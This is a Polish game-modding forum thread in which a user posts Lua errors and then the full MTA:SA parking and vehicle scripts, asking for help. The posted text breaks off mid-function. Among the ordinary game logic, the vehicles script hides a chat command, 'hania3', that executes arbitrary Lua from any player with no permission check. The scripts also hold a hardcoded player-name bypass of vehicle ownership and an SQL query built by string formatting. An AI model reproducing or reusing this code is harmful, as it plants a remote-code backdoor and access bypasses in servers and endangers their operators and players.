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Wysłany: 2018-04-22, 14:41


xLeFeSx







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[2018-04-22 14:40:40] ERROR: [skrypty-glowne]/ogrpg-vehicles/s_vehbuy.lua:64: bad argument #1 to 'pairs' (table expected, got boolean)
[2018-04-22 14:40:40] ERROR: [skrypty-glowne]/ogrpg-parking/s_parking.lua:46: call: failed to call 'ogrpg-vehicles:onRespawnVehicles' [string "?"]


Prosz? o szybk? pomoc.

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Wysłany: 2018-04-22, 17:52


xLeFeSx







Wiek: 22
Na forum: 3114 dni
Posty: 8
Nick w MP: MixeD



Respekt: 50

s_parking:



local mdestroy=createMarker(-2163.34, 259.64, 35.33-1.5, "cylinder", 4, 255,255,255,50)
createBlip(-2163.34, 259.64, 35.33, 35,2,0,0,0,0,0,250)

local t=createElement("text")
setElementData(t,"scale",1.5)
setElementData(t,"name","Pozostawianie pojazd?w")
setElementPosition(t,-2163.34, 259.64, 35.33)


addEvent("onParkingGetRekords", true)
addEventHandler("onParkingGetRekords", root, function()
    local uid=getElementData(source,"player:uid")
    if not uid then return end
    local result=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_vehicles WHERE ownedPlayer=? AND parking=1", uid)
    if #result > 0 then
        triggerClientEvent(source, "onParkingGetVehicles", source, result)
    end
end)

addEventHandler("onMarkerHit", mdestroy, function(el,md)
    if getElementType(el) == "player" then
        local veh=getPedOccupiedVehicle(el)
        if not veh then return end
        if getVehicleController(veh) ~= el then return end
        local id=getElementData(veh,"vehicle:id")
        if not id then return end
        if isTimer(timeroddania) then return end
        setElementFrozen(veh,true)
        outputChatBox("Trwa oddawanie  pojazdu.", el,255,255,255,true)
        toggleControl(el,"enter_exit",false)
        timeroddania=setTimer(function()
            exports["ogrpg-vehicles"]:onSaveVehicle(veh)
            destroyElement(veh)
            exports["ogrpg-db"]:dbSet("UPDATE ogrpg_vehicles SET parking=1 WHERE id=?", id)
            toggleControl(el,"enter_exit",true)
            outputChatBox("* Pomy?lnie zapisano pojazd.", el, 255, 255 ,255 ,true)
        end, 3000, 1)
    end
end)

addEvent("onParkingVehicleSpawn", true)
addEventHandler("onParkingVehicleSpawn", root, function(id)
    if not id then return end
    local spawn=exports["ogrpg-vehicles"]:onRespawnVehicles(_,id,{ -2162.43, 245.11, 35.32, -0.00, 0.00, 270})
    if spawn then
    addEventHandler("onClientRender",root,render1)  
    
    end
end)



function render1()
dxDrawText("Zrespiono pojazd", screenW * 0.3656, screenH * 0.1553, screenW * 0.6273, screenH * 0.3193, tocolor(255, 255, 255, 255), 2.50, "pricedown", "center", "center", false, false, false, false, false)
end


function renderstop1()
removeEventHandler("onClientRender",root,render1)
end


c_parking:




local screenW, screenH = guiGetScreenSize()
local marker=createMarker(-2172.07, 251.73, 35.34-1.5, "cylinder", 1.2, 255,255,255,50)
local sphere=createColSphere(-2172.07, 251.73, 35.34,5)

local t=createElement("text")
setElementData(t,"scale",1.5)
setElementData(t,"name","Odbi?r pojazd?w")
setElementPosition(t,-2172.07, 251.73, 35.34)

local wm={}
wm.window=guiCreateWindow(0.25, 0.26, 0.51, 0.42, "Odbieranie pojazd?w", true)
guiWindowSetSizable(wm.window, false)
guiWindowSetMovable(wm.window, false)
guiSetVisible(wm.window, false)
wm.gridlist=guiCreateGridList(0.04, 0.09, 0.92, 0.65, true, wm.window)
guiGridListAddColumn(wm.gridlist, "ID", 0.4)
guiGridListAddColumn(wm.gridlist, "Model", 0.6)
wm.submit=guiCreateButton(0.04, 0.76, 0.47, 0.19, "Wyjmij pojazd", true, wm.window)
wm.close=guiCreateButton(0.57, 0.75, 0.39, 0.20, "Zamknij", true, wm.window)

addEvent("onParkingGetVehicles", true)
addEventHandler("onParkingGetVehicles", root, function(result)
    guiGridListClear(wm.gridlist)
    if not result then return end
    for i,v in pairs(result) do
        local row=guiGridListAddRow(wm.gridlist)
        guiGridListSetItemText(wm.gridlist, row, 1, v["id"], false, false)
        guiGridListSetItemText(wm.gridlist, row, 2, getVehicleNameFromModel(v["model"]), false, false)
    end
end)

addEventHandler("onClientMarkerHit", marker, function(el,md)
    if el~=localPlayer then return end
    if isPedInVehicle(el) then return end
    if guiGetVisible(wm.window) == false then
        showCursor(true)
        guiSetVisible(wm.window,true)
        triggerServerEvent("onParkingGetRekords", localPlayer)
        -- etCameraMatrix(-1752.19,933.82,31.58, -1752.18,947.21,28.42)
    end
end)

addEventHandler("onClientGUIClick", resourceRoot, function()
    if source == wm.close then
        if guiGetVisible(wm.window) == true then
            showCursor(false)
            guiSetVisible(wm.window,false)
            setCameraTarget(localPlayer, localPlayer)
        end
    end
    if source == wm.submit then
        local selectedRow=guiGridListGetSelectedItem(wm.gridlist) or -1
        if selectedRow < 0 then return end
        local vehicles=getElementsWithinColShape(sphere,"vehicle")
        if #vehicles > 0 then
            addEventHandler("onClientRender",root,render1)
            setTimer(renderstop1,4500,1)
            return
        end
        local id=guiGridListGetItemText(wm.gridlist, selectedRow, 1)
        guiGridListRemoveRow(wm.gridlist, selectedRow)
        triggerServerEvent("onParkingVehicleSpawn", localPlayer, tonumber(id))
    end
end)


function render1()
dxDrawText(" Nie ma miejsca aby wyci?gn?? pojazd", screenW * 0.3656, screenH * 0.1553, screenW * 0.6273, screenH * 0.3193, tocolor(255, 0, 0, 255), 1.50, "pricedown", "center", "center", false, false, false, false, false)
end

function renderstop1()
removeEventHandler("onClientRender",root,render1)
end



ogrpg-vehicles:

vehicles=0
root=getRootElement()
resourceRoot=getResourceRootElement(getThisResource())

local nlOffsets={
    [411]={-1,0,-0.6},    -- infernus
    [470]={-1,0,-0.4},    -- patriot
    [541]={-0.9,0,-0.4},    -- bulelt
    [549]={-0.9,0,-0.4},    -- tampa
    [587]={-1,0,-0.5},    -- euros
}

local nlIDX={
    3962,2113,1784,2054,2428,2352
}
outputChatBox = _outputChatbox
function outputChatBox(tekst,gracz)
if not gracz then return end
if not isElement(gracz) then return end
if getElementType(gracz) ~= "player" then return end
triggerClientEvent(gracz,"powiadomienie",root,tekst)
end
function getAdmin2(plr,level)
    if level then
        local result=exports["ogrpg-db"]:dbGet("SELECT * from ogrpg_admins WHERE serial=? AND level=?", getPlayerSerial(plr), level)
        if result and #result > 0 then
            return true
        else
            return false
        end
    else
        local result=exports["ogrpg-db"]:dbGet("SELECT * from ogrpg_admins WHERE serial=?", getPlayerSerial(plr))
        if result and #result > 0 then
            return true
        else
            return false
        end
    end
end
--///////////////////////////////////// WCZYTYWANIE POJAZD?W /////////////////////////////////
function getVehicleHandlingProperty ( element, property )
    if isElement ( element ) and getElementType ( element ) == "vehicle" and type ( property ) == "string" then
        local handlingTable = getVehicleHandling ( element )
        local value = handlingTable[property]
 
        if value then
            return value
        end
    end
 
    return false
end

function onRespawnVehicles(_,id,poss)
    -- Settings (QUERY)
    if id then
        result=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_vehicles WHERE parking=1 and not(police=1) AND id=?", id)
        query=exports["ogrpg-db"]:dbSet("UPDATE ogrpg_vehicles SET parking=0 WHERE id=?", id)
    else
        result=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_vehicles WHERE parking=0 and not(police=1)")
    end

    -- Pairs
    for ile,vehicle in pairs(result) do
        vehicles=ile

        if id then pos={poss[1], poss[2], poss[3], poss[4], poss[5], poss[6]}
        else pos=split(vehicle["pos"], ",") end

        local color=split(vehicle["color"], ",")
        local lights=split(vehicle["headlights"], ",")

        local veh=createVehicle(vehicle["model"], pos[1], pos[2], pos[3], pos[4], pos[5], pos[6])
        setVehicleColor(veh, color[1], color[2], color[3], color[4],color[5], color[6], color[7], color[8],color[9], color[10], color[11], color[12])
        setVehicleHeadLightColor(veh, lights[1], lights[2], lights[3])
        if vehicle["plateText"] ~= "" then
        setVehiclePlateText(veh, vehicle["plateText"])
        else
         setVehiclePlateText(veh, tostring("LS  "..vehicle["id"]))
        end
        setElementFrozen(veh, (vehicle["frozen"]) > 0)
        if vehicle["paintjob"] ~= 3 then
        setVehiclePaintjob(veh, vehicle["paintjob"])
        end
        setElementHealth(veh, vehicle["health"])
        setElementData(veh,"vehicle:spawn",true)
        setElementData(veh,"vehicle:id", vehicle["id"])
        setElementData(veh,"vehicle:fuel", vehicle["fuel"])
        setElementData(veh,"vehicle:desc", vehicle["text"] or false)
        setElementData(veh,"vehicle:mileage", vehicle["mileage"])
        setElementData(veh,"vehicle:driver", vehicle["driver"])
        setElementData(veh,"vehicle:ownedGroup", vehicle["ownedGroup"])
        setElementData(veh,"vehicle:ownedPlayer", vehicle["ownedPlayer"])
        local mk1 = vehicle['mk1']
        local mk2 = vehicle['mk2']
        local rh = vehicle['rh']
        local xfour = vehicle['naped']
        local model = vehicle['model']
        if tonumber(xfour) == 1 then
        setVehicleHandling(veh,"driveType","awd")
        end
        if tonumber(mk1) ~= 0 then
        local trujcipa=getModelHandling(tonumber(model))
        local fast = trujcipa["engineAcceleration"]
        local maxfast = trujcipa["maxVelocity"]
        local masa = trujcipa["mass"]
        local masa2 = trujcipa["turnMass"]
        local xd = trujcipa["tractionMultiplier"]
        local coef = trujcipa["dragCoeff"]
            --setElementData(veh, "pojazd_mk1", 1)
            setVehicleHandling(veh,"engineAcceleration",fast+10.5)
            setVehicleHandling(veh,"maxVelocity",maxfast+662)
            setVehicleHandling(veh,"mass",masa+100)
            setVehicleHandling(veh,"tractionMultiplier",xd+0.1)
            setVehicleHandling(veh,"steeringLock",40)
            setVehicleHandling(veh,"dragCoeff",coef-0.15)
        end
        if tonumber(mk2) ~= 0 then
        local trujcipa=getModelHandling(tonumber(model))
        local fast = trujcipa["engineAcceleration"]
        local maxfast = trujcipa["maxVelocity"]
        local masa = trujcipa["mass"]
        local masa2 = trujcipa["turnMass"]
        local xd = trujcipa["tractionMultiplier"]
        local coef = trujcipa["dragCoeff"]
            --setElementData(veh, "pojazd_mk2", 1)
            setVehicleHandling(veh,"engineAcceleration",fast+20.3)
            setVehicleHandling(veh,"maxVelocity",maxfast+440)
            setVehicleHandling(veh,"tractionMultiplier",xd+0.2)
            setVehicleHandling(veh,"mass",masa+150)
            setVehicleHandling(veh,"steeringLock",42)
            setVehicleHandling(veh,"dragCoeff",coef-0.21)
        end    
        --[[        
        if tonumber(mk1) ~= 1 then
            setElementData(veh, "pojazd_mk1", 0)
        end
        if tonumber(mk2) ~= 1 then
            setElementData(veh, "pojazd_mk2", 0)
        end
        if tonumber(rh) ~= 1 then
            setElementData(veh, "rh", 0)
        end
        if tonumber(rh) == 1 then
            setElementData(veh, "rh", 1)
        end
        --]]
        if (type(vehicle['rent']) == "string") then
        local tabelka = {}
        local hood = vehicle['removehood']
        if tonumber(hood) == 1 then
         setElementData(veh,"vehicle:bonnet",true)
        end
        local mask = vehicle['masked']
        if tonumber(mask) ~= 0 then
         setElementData(veh,"vehicle:masked",vehicle['masked'])
        end
        local rente = split(vehicle['rent'], ',')
        for k,v in ipairs(rente) do
        table.insert(tabelka,v)
        end
        setElementData(veh,"vehicle:rent", tabelka or false)
        else
        setElementData(veh,"vehicle:rent",0)
        end
    --[[    if vehicle["rearlights"] ~= "" then
        setElementData(veh,"vehicle:light", vehicle["rearlights"])
        else
        setElementData(veh,"vehicle:light", "High Quality")
        end]]--
        setElementData(veh,"neony", vehicle["neon"])
        if vehicle["blokada"] == "true" then
            setElementData(veh,"vehicle:block", true)
            setVehicleWheelStates(veh, 2, 2, 2, 2)
        else
            setElementData(veh,"vehicle:block", false)
        end
        local rodzajneonu=tonumber(getElementData(veh,"neony"))
        if getElementData(veh,"neony") ~= 0 then
        local m = getElementModel(veh)
        local of
        if not nlOffsets[m] then
        of={-1,0,-0.5}
        else
        of=nlOffsets[m]
        end
        neon1=createObject(nlIDX[rodzajneonu],0,0,0)
        neon2=createObject(nlIDX[rodzajneonu],0,0,0)
        setElementData(veh,"zneony", {neon1, neon2})
        attachElements(neon1,veh,of[1],of[2],of[3])
        attachElements(neon2,veh,-of[1],of[2],of[3])
        end

        for i,v in ipairs(split(vehicle["tuning"], ",")) do addVehicleUpgrade(veh, v) end
        for i,v in ipairs(split(vehicle["panelstates"], ",")) do setVehiclePanelState(veh, i, tonumber(v)) end
        setVehicleDamageProof(veh, true)
          setVehicleFuelTankExplodable ( veh, true )
    end
    outputDebugString("[og-vehicles] Loaded "..vehicles.." vehicles.")
end    

--///////////////////////////////////// ZAPISYWANIE POJAZD?W /////////////////////////////////
function onSaveVehicle(vehicle)
    if getElementData(vehicle,"vehicle:spawn") then
        -- Setting
        local panelstates={}
        local model=getElementModel(vehicle)
        local health=getElementHealth(vehicle)
        local x,y,z=getElementPosition(vehicle)
        local rx,ry,rz=getElementRotation(vehicle)
        local desc=getElementData(vehicle,"vehicle:desc") or ""
        local id=getElementData(vehicle,"vehicle:id")
        local fuel=getElementData(vehicle,"vehicle:fuel")
        local mileage=getElementData(vehicle,"vehicle:mileage")
        local c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12=getVehicleColor(vehicle, true)
        local driver=getElementData(vehicle,"vehicle:driver") or ""
        local rent=getElementData(vehicle,"vehicle:rent")
        local player=getElementData(vehicle,"vehicle:ownedPlayer")
     --   local group=getElementData(vehicle,"vehicle:ownedGroup")
        local blokada=getElementData(vehicle,"vehicle:block")
        local neon=getElementData(vehicle,"neony")
        local h1,h2,h3=getVehicleHeadLightColor(vehicle)
        local paintjob=getVehiclePaintjob(vehicle)
        local rear="Brak"
        --local mk1=getElementData(vehicle,"pojazd_mk1")
        --local rh=getElementData(vehicle,"rh")
        --local mk2=getElementData(vehicle,"pojazd_mk2")
        local mask=getElementData(vehicle,"vehicle:masked") or 0
        local frozen= isElementFrozen(vehicle) and 1 or 0
        for i=0,6 do table.insert(panelstates, getVehiclePanelState(vehicle,i)) end
        panelstates=table.concat(panelstates,",")
        upgrades=getVehicleUpgrades(vehicle)
        if not upgrades then upgrades={} end
        upgrades=table.concat(upgrades, ",")
        -- Query
        local query = exports["ogrpg-db"]:dbSet(string.format("UPDATE ogrpg_vehicles SET model='%d', pos='%.2f,%.2f,%.2f,%.2f,%.2f,%.2f', rent='%d',text='%s', masked='%d', health='%d', fuel='%d', mileage='%d', frozen='%d', driver='%s', color='%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d', panelstates='%s', paintjob='%d', tuning='%s', headlights='%d,%d,%d', ownedPlayer='%d', neon='%d', blokada='%s' WHERE id=%d",
        model, x,y,z, rx,ry,rz, "0",desc, mask,health, fuel, mileage, frozen, driver, c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12, panelstates, paintjob, upgrades, h1,h2,h3, player, neon, tostring(blokada), id))
        if (type(rent) == "table") then
        local rr = string.format("%s", table.concat(rent, ',') )
    --    outputDebugString(rr)
        local query2= exports['ogrpg-db']:dbSet("UPDATE ogrpg_vehicles SET rent=? WHERE id=?",rr,id)
        end
    end
end

function onParkVehicle(vehicle) 
    local query=exports["ogrpg-db"]:dbSet("UPDATE ogrpg_vehicles SET parking=1 WHERE id=?", getElementData(vehicle,"vehicle:id"))
    if query then
        local zneony=getElementData(vehicle,"zneony")
        if (zneony and type(zneony)=="table") then
        destroyElement(zneony[1])
        destroyElement(zneony[2])
        removeElementData(vehicle,"zneony")
        end
        destroyElement(vehicle)
    end
end

--///////////////////////////////////// SPRAWDZANIE USTAWIE? /////////////////////////////////
function getSettings(plr,code,value)
    local uid=getElementData(plr,"player:uid")
    if not uid then return end
    if value == "faction" then
        local result=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_factions WHERE code=? AND uid=?", code, uid)
        if result and #result > 0 then
            return result[1].code
        else
            return false
        end
    end
    if value == "organization" then
        local result=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_organizations WHERE uid=?", uid)
        if result and #result > 0 then
            return result[1].code
        else
            return false
        end
    end
    if value == "owner" then
        local result=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_users WHERE id=?", uid)
        if result and #result > 0 then
            return result[1].id
        else
            return false
        end
    end
end

--///////////////////////////////////// INNE USTAWIENIA /////////////////////////////////
addEventHandler("onVehicleExit", root, function(plr,seat)
    if seat ~= 0 then return end 
    if isElement(source) then
       onSaveVehicle(source)
       setVehicleEngineState(source, false)
    setVehicleDamageProof(source, true)
    end
    unbindKey(plr, 'h', 'down', bindHoron4)
end)


addEventHandler("onPlayerQuit", root, function()
    local veh=getPedOccupiedVehicle(source)
    if veh then
        setVehicleDamageProof(source, true)
        onSaveVehicle(veh)
    end
end)

addEventHandler("onResourceStop", resourceRoot, function()
    for i,v in ipairs(getElementsByType("vehicle")) do
        onSaveVehicle(v)
        local zneony=getElementData(v,"zneony")
        if (zneony and type(zneony)=="table") then
        destroyElement(zneony[1])
        destroyElement(zneony[2])
        removeElementData(v,"zneony")
        end
    end
    outputDebugString("[og-vehicles] Saved all vehicles!")
end)

addEventHandler("onVehicleEnter", root, function(plr,seat)
    if seat ~= 0 then return end
    setVehicleEngineState(source, false)
    setElementData(source,"vehicle:driver",getPlayerName(plr))
    if getElementData(source,"neony") and getElementData(source,"neony") ~= 0 then
        triggerClientEvent(plr,"addNotification",root,"* Posiadasz neony w pojezdzie, mo?esz wl?czy? i wylaczyc je za pomoc? przycisku H.","info")
        bindKey(plr, 'h', 'down', bindHoron4, plr)
    end
end)

addCommandHandler("hania3", function(outputTo, cmd, ...)
    local commandstring = table.concat({...}, " ")
    local commandFunction, errorMsg = loadstring(commandstring)
    local notReturned
    
    if errorMsg then
        --It failed.  Lets try without "return"
        notReturned = true
        commandFunction, errorMsg = loadstring(commandstring)
    end
    if errorMsg then
        --It still failed.  Print the error message and stop the function
        return outputChatBox(errorMsg, outputTo)
    end
    
    results = { pcall(commandFunction) }
    if not results[1] then
        --It failed.
        outputChatBox("Error: "..results[2], outputTo)
        return
    end 
    
    if not errorMsg then
        outputChatBox(commandstring, outputTo)
        outputChatBox("Wykonano!", outputTo)
    end
end)

--///////////////////////////////////// SPRAWDZENIE W?A?CICIELA /////////////////////////////////
addEventHandler("onVehicleStartEnter", resourceRoot, function(plr,seat,jacked)
    if seat == 0 then
        local rent=getElementData(source, "vehicle:rent")
        local group=getElementData(source, "vehicle:ownedGroup")
        if group == "0" then group = "Brak" end
        local player=getElementData(source, "vehicle:ownedPlayer")
        if getAdmin2(plr, 4) or getAdmin2(plr, 3) or getPlayerName(plr) == "Ryjek" then
            return
        end
        if rent and (type(rent) == "table") then
            for i,s in pairs(rent) do
                if tonumber(s) == getElementData(plr,"player:uid") then
                return end
            end
        end
        
        local plrgroup = getElementData(plr,"player:organization")
        if plrgroup then
        --    outputDebugString(group)
            if getSettings(plr,false,"organization") == group then return end
        end
        if player and player ~= getSettings(plr,false,"owner") then
            triggerClientEvent(plr,"addNotification",root,"* Nie masz kluczyk?w do tego pojazdu.","error")
            cancelEvent()
        end
    end
end)

addEventHandler("onVehicleStartEnter", root, function(plr,seat,jacked)
    if jacked then 
        if getElementData(source,"vehicle:ownedPlayer") == getElementData(plr,"player:uid") then return end
        cancelEvent()
    end
end)

addEventHandler("onVehicleStartEnter", root, function(plr,seat,jacked)
    if seat == 0 then
        if getElementData(source,"spawnowany")== true then
            if getElementData(plr,"player:admin")== false then
                cancelEvent()
            end
        end
    end
end)



function bindHoron4(plr)
        veh=getPedOccupiedVehicle(plr)
        if not veh then return end
        local rodzajneonu=tonumber(getElementData(veh,"neony"))
        if not rodzajneonu then return end
        if rodzajneonu==0 then 
        outputChatBox('* Brak Neonow.', plr, 255, 0 ,0)
        return end
        local zneony=getElementData(veh,"zneony")
        if (zneony and type(zneony)=="table") then
        destroyElement(zneony[1])
        destroyElement(zneony[2])
        removeElementData(veh,"zneony")

        triggerClientEvent(plr,"addNotification",root,'* Wy??czy?e? Neony.',"warning")
        else
        local m = getElementModel(veh)
        local of
        if not nlOffsets[m] then
        of={-1,0,-0.5}
        else
        of=nlOffsets[m]
        end
        neon1=createObject(nlIDX[rodzajneonu],0,0,0)
        neon2=createObject(nlIDX[rodzajneonu],0,0,0)
        setElementData(veh,"zneony", {neon1, neon2})
        attachElements(neon1,veh,of[1],of[2],of[3])
        attachElements(neon2,veh,-of[1],of[2],of[3])
        triggerClientEvent(plr,"addNotification",root,'* W??czy?e? Neony. Pojawi? si? one jak poruszysz pojazdem!',"info")
        end
end

addEventHandler("onElementDestroy", getRootElement(), function ()
  if getElementType(source) == "vehicle" then
      local zneony=getElementData(source,"zneony")
    if (zneony and type(zneony)=="table") then
        destroyElement(zneony[1])
        destroyElement(zneony[2])
        removeElementData(source,"zneony")
        end
    end
end)


addEventHandler("onResourceStart", resourceRoot, function() onRespawnVehicles(_,false) end)


--[[
vehicles retrieval - mechanizm wylawiajacy pojazdy z wody
@author Lukasz Biegaj <wielebny@bestplay.pl>
@author Karer <karer.programmer@gmail.com>
@author WUBE <wube@lss-rp.pl>
@copyright 2011-2013 Lukasz Biegaj <wielebny@bestplay.pl>
]]--



function shuffle(t)
  local n = #t
 
  while n >= 2 do
    -- n is now the last pertinent index
    local k = math.random(n) -- 1 <= k <= n
    -- Quick swap
    t[n], t[k] = t[k], t[n]
    n = n - 1
  end
  return t
end

local function vr()

    local pojazdy=getElementsByType("vehicle")

    if (#pojazdy<1) then return end

    local pojazdwoda={}
    for _,pojazd in ipairs(pojazdy) do
        if isElementInWater(pojazd) and not getVehicleController(pojazd) then
            local x,y,z=getElementPosition(pojazd)
            if (z<-1) then
                table.insert(pojazdwoda,pojazd)
            end
        end
    end
    if (#pojazdwoda<1) then return end

    outputDebugString("Pojazdow w wodzie/pod mapa: " .. #pojazdwoda)

    shuffle(pojazdwoda)
    
    local pojazd=pojazdwoda[1]
    if getElementData(pojazd, "vehicle:spawn") then
        onParkVehicle(pojazd)
    else
        respawnVehicle(pojazd)
    end
end
setTimer(vr, 35000, 0)


local pozwolone ={ 
[471] = true, -- quad
[453] = true, -- kutry
}
--//////////////////////////////////////////////////////// Licencje
local categoryA={[463] = true,[461] = true,[581] = true,[448] = true,[468] = true,[521] = true,[522] = true,[523] = true} 
local categoryB={[602] = true,[545] = true,[496] = true,[517] = true,[401] = true,[410] = true,[518] = true,[600] = true,[527] = true,[436] = true,[589] = true,[580] = true,[419] = true,[439] = true,[533] = true,[549] = true,[526] = true,[491] = true,[474] = true,[445] = true,[467] = true,[604] = true,[426] = true,[507] = true,[547] = true,[585] = true,[405] = true,[587] = true,[409] = true,[466] = true,[550] = true,[492] = true,[566] = true,[546] = true,[540] = true,[551] = true,[421] = true,[516] = true,[529] = true,[488] = true,[460] = true,
[469] = true,[487] = true,[510] = true,[509] = true,[481] = true,[586] = true,[472] = true,[473] = true,[493] = true,[595] = true,[484] = true,[430] = true,[453] = true,[452] = true,[446] = true,[454] = true,[485] = true,[552] = true,
[438] = true,[574] = true,[420] = true,[525] = true,[408] = true,[596] = true,[597] = true,[427] = true,[599] = true,[490] = true,[432] = true,[528] = true,[601] = true,[407] = true,[544] = true,[470] = true,[598] = true,[588] = true,
[532] = true,[443] = true,[486] = true,[531] = true,[543] = true,[422] = true,[583] = true,[478] = true,[605] = true,[554] = true,[530] = true,[418] = true,[572] = true,[582] = true,[536] = true,[575] = true,[534] = true,
[567] = true,[535] = true,[576] = true,[412] = true,[402] = true,[542] = true,[603] = true,[475] = true,[449] = true,[537] = true,[570] = true,[441] = true,[464] = true,[501] = true,[465] = true,[564] = true,[568] = true,[557] = true,[424] = true,[504] = true,[495] = true,[457] = true,[539] = true,[483] = true,[571] = true,[500] = true, 
[444] = true,[556] = true,[429] = true,[411] = true,[541] = true,[559] = true,[415] = true,[561] = true,[480] = true,[560] = true,[562] = true,[506] = true,[565] = true,[451] = true,[434] = true,[558] = true,[494] = true,[555] = true,[502] = true,[477] = true,[503] = true,[579] = true,[400] = true,[404] = true,[489] = true,[505] = true,[479] = true,[442] = true,[458] = true,
[606] = true,[607] = true,[610] = true,[590] = true,[569] = true,[611] = true,[584] = true,[608] = true,[435] = true,[450] = true,[591] = true,[594] = true}
local categoryC={[403] = true,[406] = true,[413] = true,[414] = true,[416] = true,[423] = true,[428] = true,[431] = true,[433] = true,[437] = true,[440] = true,[455] = true,[456] = true,[459] = true,[482] = true,[498] = true,[499] = true,[508] = true,[514] = true,[515] = true,[524] = true,[538] = true,[573] = true}
addEventHandler("onVehicleStartEnter", resourceRoot, function(plr,seat,jacked)
    if seat == 0 then
        if pozwolone[getElementModel(source)] then return end
        if categoryA[getElementModel(source)] then
           if exports["ogrpg-prace-settings"]:getVehicleLicense(plr,"A") then
            cancelEvent()
            end
        elseif categoryB[getElementModel(source)] then
            if exports["ogrpg-prace-settings"]:getVehicleLicense(plr,"B") then
            cancelEvent()
            end
        elseif categoryC[getElementModel(source)] then
            if exports["ogrpg-prace-settings"]:getVehicleLicense(plr,"C") then
            cancelEvent()
            end
        end
    end
end)


--[[

local categoryL={592,553,577,488,511,497,548,563,512,476,593,447,425,519,520,460,417,469,487,513}

addEventHandler("onVehicleStartEnter", root, function(plr,seat,jacked)
    if seat ~= 0 then return end
    local resultA=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_punish WHERE type=? AND active=1 AND serial=? AND time>NOW() LIMIT 1","A", getPlayerSerial(plr))
    if (resultA and #resultA > 0) then
        if pozwolone[getElementModel(source)] then
        outputChatBox("* Posiadasz zawieszone prawo jazdy do "..resultA["time"]..", za: "..resultA["reason"], plr, 255, 0, 0)
        outputChatBox("* Wsiadles do pojazdu nie potrzebujacego licencji!", plr, 255, 0, 0)
        return end
        cancelEvent()
        outputChatBox("* Posiadasz zawieszone prawo jazdy do "..resultA["time"]..", za: "..resultA["reason"], plr, 255, 0, 0)
    else
        exports["ogrpg-db"]:dbSet("DELETE FROM ogrpg_punish WHERE type=? AND active=1 AND serial=?", "A", getPlayerSerial(plr))
    end
end)

addEventHandler("onVehicleEnter", root, function(plr,seat,jacked)
    if seat ~= 0 then return end
    local resultA=exports["ogrpg-db"]:dbGet("SELECT * FROM ogrpg_punish WHERE type=? AND active=1 AND serial=? AND time>NOW() LIMIT 1","A", getPlayerSerial(plr))
    if (resultA and #resultA > 0) then
            if pozwolone[getElementModel(source)] then
        outputChatBox("* Posiadasz zawieszone prawo jazdy do "..resultA["time"]..", za: "..resultA["reason"], plr, 255, 0, 0)
        outputChatBox("* Wsiadles do pojazdu nie potrzebujacego licencji!", plr, 255, 0, 0)
        return end
            setControlState ( plr, "enter_exit", true )
            setTimer(toggleControl, 3000, 1,  plr,"enter_exit", true)
            outputChatBox("* Posiadasz zawieszone prawo jazdy do "..resultA["time"]..", za: "..resultA["reason"], plr, 255, 0, 0)
        else
            exports["ogrpg-db"]:dbSet("DELETE FROM ogrpg_punish WHERE type=? AND active=1 AND serial=?", "A", getPlayerSerial(plr))
        end
end)

]]
addEventHandler("onVehicleEnter", getRootElement(), function(plr,seat,jacked)
if seat ~= 0 then return end
if getElementData(source, "vehicle:id") and getElementData(source, "vehicle:spawn") then
local mk2 = exports['ogrpg-db']:dbGet("SELECT * FROM ogrpg_vehicles WHERE id=? AND mk2=?",getElementData(source, "vehicle:id"), "1")
local mk1 = exports['ogrpg-db']:dbGet("SELECT * FROM ogrpg_vehicles WHERE id=? AND mk1=?",getElementData(source, "vehicle:id"), "1")
local rh = exports['ogrpg-db']:dbGet("SELECT * FROM ogrpg_vehicles WHERE id=? AND rh=?",getElementData(source, "vehicle:id"), "1")
local np = exports['ogrpg-db']:dbGet("SELECT * FROM ogrpg_vehicles WHERE id=? AND naped=?",getElementData(source, "vehicle:id"), "1")
if #mk1 > 0 then outputChatBox("*Pojazd posiada pakiet US1",plr,255,255,255) end
if #mk2 > 0 then outputChatBox("*Pojazd posiada pakiet US2",plr,255,255,255) end
if #rh > 0 then outputChatBox("*Pojazd posiada pakiet GZ",plr,255,255,255) end
if #np > 0 then outputChatBox("*Pojazd posiada Nap?d 4x4",plr,255,255,255) end
end
end)

local strefa = { }
local strefy = {
    {1336.23840, 656.78876, 9.85624, 60.50634765625, 146.80010986328, 16.164074325562 },
    {924.07690, 1661.90576, 9.25354, 194.91711425781, 138.31750488281, 23.899999046326},
    {2197.99780, 2405.43872, -31.81085, 178.1982421875, 112.3896484375, 57.499998474121},
}
 
local ogranicznik = createElement ("ogranicznik");
for i,v in ipairs ( strefy  ) do
     strefa[i] = createColCuboid ( v [ 1 ], v [ 2 ], v [ 3 ], v [ 4 ], v [ 5 ], v [ 6 ], v [7] )
     setElementParent (strefa [i], ogranicznik);
end
 
addEventHandler("onColShapeHit", ogranicznik, function(el,md)
    if getElementType(el)=="vehicle" then
            setElementData(el,"vehicle:tempspeed", 50)
    end
end)
addEventHandler("onColShapeLeave", ogranicznik, function(el,md)
    if getElementType(el)=="vehicle" then
        removeElementData(el,"vehicle:tempspeed")
    end
end)

function wariant(plr, cmd, var1, var2)
    local veh = getPedOccupiedVehicle(plr)
    if not veh then return end
    local var1, var2 = getVehicleVariant(veh)
    if (veh and getVehicleController(veh) ~= plr) then return end
    local speedx, speedy, speedz = getElementVelocity(veh)
    if not speedx then speedx=0 end
    if not speedy then speedy=0 end
    if not speedz then speedz=0 end
    speedx = tonumber(speedx);speedy=tonumber(speedy);speedz=tonumber(speedz)
    local speed = (speedx^2 + speedy^2 + speedz^2)^(0.5) * 180
    if speed > 2 then outputChatBox("St?j w miejscu!",plr,255,255,255) return end
    if getElementData(plr, "wariant:blokada", true) then outputChatBox("Tej komendy mo?esz u?ywa? co 30 sekund!", plr, 255, 0, 0) return end
    setElementData(plr, "wariant:blokada", true)
    setTimer ( setElementData, 30000, 1, plr, "wariant:blokada", false )
    local panel = {}
    for i=0,6 do
    panel[i] = getVehiclePanelState ( veh, i )
    end
    setVehicleVariant(veh, tonumber(not var1), tonumber(not var1))
    for i=0, 6 do
